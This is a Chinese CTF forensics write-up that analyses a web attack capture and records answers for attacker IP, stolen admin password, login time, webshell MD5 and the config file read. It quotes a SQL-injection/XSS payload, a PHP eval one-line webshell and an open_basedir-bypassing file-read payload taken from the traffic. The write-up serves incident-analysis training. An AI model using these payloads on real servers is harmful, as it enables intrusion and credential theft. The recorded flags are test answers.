本文题目在ProvinceAttacker中，01 Web.pcapng
攻击者 1
1-1
分析主机及流量，提交第一个成功Getshell的攻击者IP地址。
flag
10.11.43.4
看一下post包
看到恶意url请求
[truncated]POST /admin/login.php?action=ck_login&BGol=8278%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%
url解出
[truncated]POST /admin/login.php?action=ck_login&BGol=8278 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**%
是个xss攻击
1-2
提交Web应用访问日志的名称及绝对路径，如：C:\log.txt。
本题在没在线虚拟机的情况下没法直接做
路径为C盘，phpstudy（大于2020）新版安装下的apache默认访问日志路径
这题爆0，乐了
1-3
第一个攻击者获取到了后台登录密码，请提交攻击者通过sql注入获取到的后台登录密码。
flag
admin123
使用wireshark过滤语句
http.request.method == "POST" and http contains "login"
找到包含登录信息的包
前面的数据包是一些盲注
最后黑客将在login.php中登录，直接看黑客输的密码是即可
1-4
第一个攻击者成功登录后台，请提交攻击者成功登录后台后访问到管理员面板的时间，以系统时间（UTC +8）为准，如：01/Dec/2021:12:00:01。
注意时区，UTC+8时区
flag
23/Dec/2021:19:25:56
菜单设置中改一下时间显示格式
我对这个flag有疑问
54秒发登录包，密码输入正确admin123
55秒回包302
55秒请求admin.php
57秒响应html
这个应当是小误差，就当是56秒吧
网络传输有时间差，具体情况具体分析
1-5
第一个攻击者了利用文件上传漏洞，上传了Webshell，请提交第一个攻击者上传的Webshell的文件的MD5值。
138683 2021-12-23 19:27:44.072126 10.11.43.4 10.20.24.62 HTTP 377 POST /upload/img/202112231926441247.php HTTP/1.1 (application/x-www-form-urlencoded)
后续的post操作集中在/upload/img/202112231926441247.php中，推测有马
包138683在wireshark中info显示有(image/png)，推测这应该是黑客上传的webshell
导出分组字节流
在.bin字节流文件中看到了马`<?php @eval($_REQUEST[1]);?>
将多余的内容删掉，留下的内容如图（要加个回车，这个文件有两行）
windows中用 certutil -hashfile <filename> md5 算出文件的md5值
MD5 hash of ma.bin:
1f5a9c2a32aabe76a8442777657a1cf9
CertUtil: -hashfile command completed successfully.
flag
1f5a9c2a32aabe76a8442777657a1cf9
1-6
第一个攻击者访问了敏感文件，得到MySQL数据库的密码。请提交攻击者访问的敏感文件的文件名，如：1.php
配置文件.ini一般有账号密码等信息。直接搜.ini文件找不到，因为参数中观察到的编码为base64，黑客通过对post参数的url解码，然后执行命令
在数据包
140290 2021-12-23 19:27:58.182000 10.11.43.4 10.20.24.62 HTTP 89 POST /upload/img/202112231926441247.php HTTP/1.1 (application/x-www-form-urlencoded)
中 post 体 中的参数是有趣的
HTML Form URL Encoded: application/x-www-form-urlencoded[truncated]Form item: "1" = "@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$oparr=preg_split("/\\\\|\//",$opdir);$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$tmdir=".c8a6ec5f3c";@mkdir($tmdiForm item: "x67fff8f606c8b" = "OvQzovUHJvZ3JhbSBGaWxlcy9waHBzdHVkeS9QSFBUdXRvcmlhbC9XV1cvZGF0YS9jb25maW5nLnBocA=="
黑客写入的代码是
@
ini_set("display_errors", "0");@
set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {$oparr = preg_split("/\\\\|\//", $opdir);$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$tmdir = ".c8a6ec5f3c";@mkdir($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");for ($i = 0; $i < sizeof($oparr); $i++) {@chdir("..");}@ini_set("open_basedir", "/");@rmdir($ocwd."/".$tmdir);

};function asoutput() {$output = ob_get_contents();ob_end_clean();echo "d39c0"."afca3";echo@ asenc($output);echo "d27c"."6600";
}
ob_start();
try {$F = base64_decode(substr($_POST["x67fff8f606c8b"], 2));$P = @fopen($F, "r");echo(@fread($P, filesize($F) ? filesize($F) : 4096));@fclose($P);;
} catch (Exception $e) {echo "ERROR://".$e - > getMessage();
};
asoutput();
die();
不难看出$F = base64_decode(substr($_POST["x67fff8f606c8b"], 2))，对键x67fff8f606c8b的值去掉前两位后进行base64解码

config.php为配置文件，mysql密码应当就写在其中吧

第一个攻击者在获取到数据库口令后，对数据库进行了拖库。请提交攻击者拖库数据库的名称。
观察数据包

另一个键b91f2c6a32d6e7的值看起来不像base64，而在代码中它是直接运算的，考虑它的加密方式是hex(十六进制)

第一个攻击者为了持续获得敏感数据，在系统中留下了持久化项，请提交该项的具体名称，如：persistence。
这题没解出来
未解决的疑问
在第五题
第一个攻击者了利用文件上传漏洞，上传了Webshell，请提交第一个攻击者上传的Webshell的文件的MD5值。
getshell用的是一句话木马，为啥要在马后面加个回车？
考虑出题者出题时的写文件习惯
文件内容不同，算出的md5也就不同
随手的记录
边看边解
黑客执行命令的记录
这部分不重要，不用看
